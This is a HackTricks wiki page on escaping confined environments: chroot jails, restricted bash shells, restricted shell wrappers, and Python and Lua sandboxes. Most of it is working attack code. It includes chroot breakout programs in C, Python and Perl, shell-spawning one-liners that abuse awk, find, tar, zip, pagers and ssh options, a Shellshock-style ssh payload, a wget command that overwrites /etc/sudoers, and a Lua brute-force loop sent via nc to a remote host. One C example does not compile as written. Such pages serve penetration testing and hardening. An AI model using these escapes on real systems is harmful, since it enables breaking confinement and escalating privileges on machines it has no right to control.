escaping-from-limited-bash.md (14053B)
1 --- 2 title: "Escaping from Jails" 3 section: "Linux" 4 sectionSlug: "linux-hardening" 5 sourcePath: "src/linux-hardening/main-system-information/escaping-from-limited-bash.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/main-system-information/escaping-from-limited-bash.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Escaping from Jails 14 15 ## **GTFOBins** 16 17 **Search in** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **if you can execute any binary with "Shell" property** 18 19 ## Chroot Escapes 20 21 From [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): The chroot mechanism is **not intended to defend** against intentional tampering by **privileged** (**root**) **users**. On most systems, chroot contexts do not stack properly and chrooted programs **with sufficient privileges may perform a second chroot to break out**.\ 22 Usually this means that to escape you need to be root inside the chroot.<sup>[[4]](#references)</sup> 23 24 > [!TIP] 25 > The **tool** [**chw00t**](https://github.com/earthquake/chw00t) was created to abuse the following escenarios and scape from `chroot`.<sup>[[1]](#references)[[5]](#references)</sup> 26 27 ### Root + CWD 28 29 > [!WARNING] 30 > If you are **root** inside a chroot you **can escape** creating **another chroot**. This because 2 chroots cannot coexists (in Linux), so if you create a folder and then **create a new chroot** on that new folder being **you outside of it**, you will now be **outside of the new chroot** and therefore you will be in the FS. 31 > 32 > This occurs because usually chroot DOESN'T move your working directory to the indicated one, so you can create a chroot but e outside of it.<sup>[[4]](#references)[[5]](#references)</sup> 33 34 Usually you won't find the `chroot` binary inside a chroot jail, but you **could compile, upload and execute** a binary: 35 36 <details> 37 38 <summary>C: break_chroot.c</summary> 39 40 ```c 41 #include <sys/stat.h> 42 #include <stdlib.h> 43 #include <unistd.h> 44 45 //gcc break_chroot.c -o break_chroot 46 47 int main(void) 48 { 49 mkdir("chroot-dir", 0755); 50 chroot("chroot-dir"); 51 for(int i = 0; i < 1000; i++) { 52 chdir(".."); 53 } 54 chroot("."); 55 system("/bin/bash"); 56 } 57 ``` 58 59 </details> 60 61 <details> 62 63 <summary>Python</summary> 64 65 ```python 66 #!/usr/bin/python 67 import os 68 os.mkdir("chroot-dir") 69 os.chroot("chroot-dir") 70 for i in range(1000): 71 os.chdir("..") 72 os.chroot(".") 73 os.system("/bin/bash") 74 ``` 75 76 </details> 77 78 <details> 79 80 <summary>Perl</summary> 81 82 ```perl 83 #!/usr/bin/perl 84 mkdir "chroot-dir"; 85 chroot "chroot-dir"; 86 foreach my $i (0..1000) { 87 chdir ".." 88 } 89 chroot "."; 90 system("/bin/bash"); 91 ``` 92 93 </details> 94 95 ### Root + Saved fd 96 97 > [!WARNING] 98 > This is similar to the previous case, but in this case the **attacker stores a file descriptor to the current directory** and then **creates the chroot in a new folder**. Finally, as he has **access** to that **FD** **outside** of the chroot, he access it and he **escapes**.<sup>[[4]](#references)[[5]](#references)</sup> 99 100 <details> 101 102 <summary>C: break_chroot.c</summary> 103 104 ```c 105 #include <sys/stat.h> 106 #include <stdlib.h> 107 #include <unistd.h> 108 109 //gcc break_chroot.c -o break_chroot 110 111 int main(void) 112 { 113 mkdir("tmpdir", 0755); 114 dir_fd = open(".", O_RDONLY); 115 if(chroot("tmpdir")){ 116 perror("chroot"); 117 } 118 fchdir(dir_fd); 119 close(dir_fd); 120 for(x = 0; x < 1000; x++) chdir(".."); 121 chroot("."); 122 } 123 ``` 124 125 </details> 126 127 ### Root + Fork + UDS (Unix Domain Sockets) 128 129 > [!WARNING] 130 > FD can be passed over Unix Domain Sockets, so: 131 > 132 > - Create a child process (fork) 133 > - Create UDS so parent and child can talk 134 > - Run chroot in child process in a different folder 135 > - In parent proc, create a FD of a folder that is outside of new child proc chroot 136 > - Pass to child procc that FD using the UDS 137 > - Child process chdir to that FD, and because it's ouside of its chroot, he will escape the jail.<sup>[[5]](#references)[[6]](#references)</sup> 138 139 ### Root + Mount 140 141 > [!WARNING] 142 > 143 > - Mounting root device (/) into a directory inside the chroot 144 > - Chrooting into that directory 145 > 146 > This is possible in Linux.<sup>[[5]](#references)</sup> 147 148 ### Root + /proc 149 150 > [!WARNING] 151 > 152 > - Mount procfs into a directory inside the chroot (if it isn't yet) 153 > - Look for a pid that has a different root/cwd entry, like: /proc/1/root 154 > - Chroot into that entry.<sup>[[4]](#references)[[5]](#references)[[7]](#references)</sup> 155 156 ### Root(?) + Fork 157 158 > [!WARNING] 159 > 160 > - Create a Fork (child proc) and chroot into a different folder deeper in the FS and CD on it 161 > - From the parent process, move the folder where the child process is in a folder previous to the chroot of the children 162 > - This children process will find himself outside of the chroot.<sup>[[5]](#references)</sup> 163 164 ### ptrace 165 166 > [!WARNING] 167 > 168 > - Whether a process can attach with `ptrace` depends on credentials, capabilities, and enabled security modules such as Yama; same-user debugging may therefore be restricted by system policy.<sup>[[8]](#references)</sup> 169 > - If attachment is permitted, you could ptrace into a process and execute a shellcode inside of it ([see this example](/hacktricks/linux-hardening/interesting-files-permissions/linux-capabilities#cap_sys_ptrace)).<sup>[[5]](#references)[[8]](#references)</sup> 170 171 ## Bash Jails 172 173 ### Enumeration 174 175 Get info about the jail: 176 177 ```bash 178 echo $0 179 echo $SHELL 180 echo $PATH 181 env 182 export 183 pwd 184 set -o 185 compgen -c | sort -u 186 enable -a 187 type -a bash sh rbash ssh vi vim less more man awk find tar zip git scp script 2>/dev/null 188 ``` 189 190 ### Modify PATH 191 192 Check if you can modify the PATH env variable.<sup>[[2]](#references)</sup> 193 194 ```bash 195 echo $PATH #See the path of the executables that you can use 196 PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path 197 echo /home/* #List directory 198 ``` 199 200 ### Using vim 201 202 If Vim is available, set its `shell` option to a shell you can execute and invoke `:shell`.<sup>[[10]](#references)</sup> 203 204 ```bash 205 :set shell=/bin/sh 206 :shell 207 ``` 208 209 ### Pagers and help viewers 210 211 A lot of restricted environments still leave **pagers** or **help viewers** available. Those are usually faster to abuse than trying to rebuild `PATH`. 212 213 ```bash 214 less /etc/hosts 215 !/bin/sh 216 217 man man 218 !/bin/sh 219 220 man '-H/bin/sh #' man 221 ``` 222 223 If `git` is available, its `--paginate` option sends output to `less` or `$PAGER`, which is useful when a pager escape is available.<sup>[[9]](#references)</sup> 224 225 ```bash 226 PAGER='/bin/sh -c "exec sh 0<&1"' git -p help 227 # Or: git help config 228 # Then inside the pager: !/bin/sh 229 ``` 230 231 ### Common GTFOBins one-liners 232 233 Once you know which binaries are reachable, test the obvious shell spawners first: 234 235 ```bash 236 awk 'BEGIN {system("/bin/sh")}' 237 find . -exec /bin/sh \; -quit 238 tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh 239 zip /tmp/zip.zip /etc/hosts -T --unzip-command='sh -c /bin/sh' 240 script /dev/null -c bash 241 ssh localhost /bin/sh 242 ``` 243 244 If you can only **inject arguments** into an allowed command (instead of running it freely), also check **GTFOArgs**.<sup>[[17]](#references)</sup> 245 246 ### Create script 247 248 Check if you can create an executable file with _/bin/bash_ as content 249 250 ```bash 251 red /bin/bash 252 > w wx/path #Write /bin/bash in a writable and executable path 253 ``` 254 255 ### Get bash from SSH 256 257 If you are accessing via ssh you can often ask the server to execute a **different program** instead of the restricted login shell.<sup>[[14]](#references)</sup> 258 259 ```bash 260 ssh -t user@<IP> bash # Get directly an interactive shell 261 ssh user@<IP> -t "/bin/sh" 262 ssh user@<IP> -t "bash --noprofile -i" 263 ssh user@<IP> -t "() { :; }; sh -i " 264 ``` 265 266 If `ssh` is one of the few locally allowed binaries, remember that it can also be abused as a **GTFOBin**; its `LocalCommand` and `ProxyCommand` options execute locally configured helper commands.<sup>[[14]](#references)[[15]](#references)</sup> 267 268 ```bash 269 ssh localhost /bin/sh 270 ssh -o PermitLocalCommand=yes -o LocalCommand=/bin/sh localhost 271 ssh -o ProxyCommand=';/bin/sh 0<&2 1>&2' x 272 ``` 273 274 ### Declare 275 276 In Bash, a nameref redirects assignments to another variable, while adding an element to `BASH_CMDS` adds that command to Bash's internal command hash table.<sup>[[11]](#references)[[12]](#references)</sup> 277 278 ```bash 279 declare -n PATH; export PATH=/bin;bash -i 280 281 BASH_CMDS[shell]=/bin/bash;shell -i 282 ``` 283 284 ### Wget 285 286 Wget's `-O` option writes downloaded content to the specified output file; if that path is writable, this can overwrite a file such as `/etc/sudoers`.<sup>[[13]](#references)</sup> 287 288 ```bash 289 wget http://127.0.0.1:8080/sudoers -O /etc/sudoers 290 ``` 291 292 ### Restricted shell wrappers (`git-shell`, `rssh`, `lshell`) 293 294 Some environments do not drop you into plain `rbash`, but into **wrappers** such as `git-shell`, `rssh`, or `lshell`: 295 296 - `git-shell` only accepts server-side Git commands plus anything present inside `~/git-shell-commands/`. If that directory exists, run `help` to enumerate the allowed custom actions. If you can **write** there, any executable dropped in that directory becomes reachable.<sup>[[3]](#references)</sup> 297 - `rssh` / `lshell` commonly allow only `scp`, `sftp`, `rsync`, or Git-style operations. In those cases focus on **file write primitives** first: upload `authorized_keys`, a shell startup file, or a helper script into a writable location and then reconnect with `ssh -t ...`. 298 - If the wrapper only filters the command line, enumerate the reachable binaries and then pivot back to **GTFOBins / GTFOArgs**. 299 300 ### Other tricks 301 302 Also check: 303 304 - [**Fireshell Security - Restricted Linux Shell Escaping Techniques**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/) 305 - [**SANS - Escaping Restricted Linux Shells**](https://www.sans.org/blog/escaping-restricted-linux-shells) 306 - [**GTFOBins**](https://gtfobins.org/) 307 - [**GTFOArgs**](https://gtfoargs.github.io/) 308 309 **It could also be interesting the page:** 310 311 [Bypass Linux Restrictions](/hacktricks/linux-hardening/linux-basics/bypass-linux-restrictions/overview) 312 313 ## Python Jails 314 315 Tricks about escaping from python jails in the following page: 316 317 318 [Bypass Python Sandboxes](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md) 319 320 ## Lua Jails 321 322 In this page you can find the global functions you have access to inside lua: [https://www.gammon.com.au/scripts/doc.php?general=lua_base](https://www.gammon.com.au/scripts/doc.php?general=lua_base).<sup>[[16]](#references)</sup> 323 324 The standard `load`, `string.char`, and `os.execute` functions can build and run this chunk when they are available.<sup>[[16]](#references)</sup> 325 326 ```bash 327 load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))() 328 ``` 329 330 A table function can also be retrieved with `rawget` instead of dot syntax.<sup>[[16]](#references)</sup> 331 332 ```bash 333 print(string.char(0x41, 0x42)) 334 print(rawget(string, "char")(0x41, 0x42)) 335 ``` 336 337 Use `pairs` to enumerate a library table.<sup>[[16]](#references)</sup> 338 339 ```bash 340 for k,v in pairs(string) do print(k,v) end 341 ``` 342 343 The order in which `pairs` enumerates table indices is unspecified, so do not rely on a particular function appearing first. If you need to execute one specific function, you can perform a brute force attack by loading different lua environments and calling the first function of the library.<sup>[[16]](#references)</sup> 344 345 ```bash 346 #In this scenario you could BF the victim that is generating a new lua environment 347 #for every interaction with the following line and when you are lucky 348 #the char function is going to be executed 349 for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end 350 351 #This attack from a CTF can be used to try to chain the function execute from "os" library 352 #and "char" from string library, and the use both to execute a command 353 for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done 354 ``` 355 356 **Get interactive lua shell**: If you are inside a limited lua shell you can get a new lua shell (and hopefully unlimited) by calling `debug.debug()`, which enters an interactive mode.<sup>[[16]](#references)</sup> 357 358 ```bash 359 debug.debug() 360 ``` 361 362 ## References 363 364 - [1] [Chw00t: How To Break Out from Various Chroot Solutions (Bucsay Balazs, DeepSec talk and slides)](https://www.youtube.com/watch?v=UO618TeyCWo) 365 - [2] [GNU Bash Reference Manual – The Restricted Shell](https://www.gnu.org/software/bash/manual/html_node/The-Restricted-Shell.html) 366 - [3] [git-shell – Git Documentation](https://git-scm.com/docs/git-shell) 367 - [4] [chroot(2) – Linux manual page](https://man7.org/linux/man-pages/man2/chroot.2.html) 368 - [5] [chw00t – chroot escape tool](https://github.com/earthquake/chw00t) 369 - [6] [unix(7) – Linux manual page](https://man7.org/linux/man-pages/man7/unix.7.html) 370 - [7] [proc_pid_root(5) – Linux manual page](https://man7.org/linux/man-pages/man5/proc_pid_root.5.html) 371 - [8] [ptrace(2) – Linux manual page](https://man7.org/linux/man-pages/man2/ptrace.2.html) 372 - [9] [git – Git Documentation](https://git-scm.com/docs/git) 373 - [10] [:shell – Vim documentation](https://vimhelp.org/various.txt.html#%3Ashell) 374 - [11] [Bash Builtins – GNU Bash Reference Manual](https://www.gnu.org/software/bash/manual/html_node/Bash-Builtins.html) 375 - [12] [Bash Variables – GNU Bash Reference Manual](https://www.gnu.org/software/bash/manual/html_node/Bash-Variables.html) 376 - [13] [GNU Wget Manual](https://www.gnu.org/software/wget/manual/wget.html) 377 - [14] [ssh(1) – OpenBSD manual page](https://man.openbsd.org/ssh) 378 - [15] [ssh_config(5) – OpenBSD manual page](https://man.openbsd.org/ssh_config) 379 - [16] [Lua 5.4 Reference Manual](https://www.lua.org/manual/5.4/manual.html) 380 - [17] [GTFOArgs: Argument Injection Exploitation Vector List](https://gtfoargs.github.io/)